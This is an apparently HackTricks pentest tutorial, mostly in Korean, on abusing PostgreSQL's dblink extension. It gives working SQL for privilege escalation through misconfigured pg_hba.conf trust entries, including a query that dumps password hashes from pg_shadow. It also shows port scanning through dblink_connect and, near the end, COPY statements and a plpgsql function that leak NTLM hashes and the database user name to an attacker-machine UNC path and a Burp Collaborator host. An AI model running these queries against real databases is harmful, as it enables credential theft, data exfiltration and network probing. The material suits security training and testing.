Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

이러한 공격에 대한 자세한 정보는 원본 논문에서 찾을 수 있습니다. (원본 논문에서 더 많은 정보 찾기).

PostgreSQL 9.1부터 추가 모듈 설치가 간단해졌습니다. 등록된 dblink와 같은 확장 기능CREATE EXTENSION을 사용하여 설치할 수 있습니다.

CREATE EXTENSION dblink;

한 번 dblink를 로드하면 몇 가지 흥미로운 트릭을 수행할 수 있습니다:

권한 상승

pg_hba.conf 파일은 비밀번호를 알 필요 없이 로컬호스트에서 모든 사용자로의 연결을 허용하는 잘못된 구성일 수 있습니다. 이 파일은 일반적으로 /etc/postgresql/12/main/pg_hba.conf에 위치하며, 잘못된 구성은 다음과 같습니다:

local    all    all    trust

이 구성은 관리자가 비밀번호를 잊어버렸을 때 db 사용자의 비밀번호를 수정하는 데 일반적으로 사용되므로 때로는 이를 찾을 수 있습니다. 또한 pg_hba.conf 파일은 postgres 사용자 및 그룹에게만 읽기 가능하고 postgres 사용자에게만 쓰기 가능합니다.

이 경우는 피해자 내부에 이미 쉘이 있는 경우에 유용하며, 이를 통해 postgresql 데이터베이스에 연결할 수 있게 됩니다.

다른 가능한 잘못된 구성은 다음과 같습니다:

host    all     all     127.0.0.1/32    trust

로컬호스트에서 모든 사용자로 데이터베이스에 연결할 수 있도록 허용되므로, 이 경우에는 dblink 함수가 작동한다면 이미 설정된 연결을 통해 데이터베이스에 연결하여 액세스할 수 없어야 할 데이터에 접근할 수 있습니다.

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

포트 스캐닝

dblink_connect를 악용하여 열린 포트를 검색할 수도 있습니다. 만약 그 함수가 작동하지 않는다면 dblink_connect_u()를 사용해보세요. 문서에 따르면 dblink_connect_u()dblink_connect()와 동일하지만, 비슈퍼유저도 모든 인증 방법을 사용하여 연결할 수 있도록 허용한다고 합니다.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

다음을 실행하기 전에 dblink_connect 또는 dblink_connect_u를 사용할 수 있어야 할 수 있습니다.

CREATE extension dblink;

UNC 경로 - NTLM 해시 노출

When an attacker gains access to a user's NTLM hash, they can use it to authenticate themselves as that user on other systems that use NTLM authentication. One way to obtain the NTLM hash is through the disclosure of UNC paths.

UNC (Universal Naming Convention) paths are used to access shared resources on a network. They follow the format \\server\share\file. In some cases, when a user accesses a UNC path, their NTLM hash is automatically sent to the server hosting the shared resource.

To exploit this, an attacker can set up a malicious server and create a UNC path that points to it. When the targeted user accesses this UNC path, their NTLM hash will be sent to the attacker's server, allowing them to capture it.

To detect if a UNC path is disclosing NTLM hashes, you can use a port scanner to check if the server hosting the shared resource is listening on port 445 (SMB). If it is, there is a possibility that the UNC path is vulnerable to NTLM hash disclosure.

To prevent NTLM hash disclosure through UNC paths, it is recommended to disable NTLM authentication and use more secure authentication mechanisms such as Kerberos. Additionally, ensure that your systems are up to date with the latest security patches to mitigate any known vulnerabilities.

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated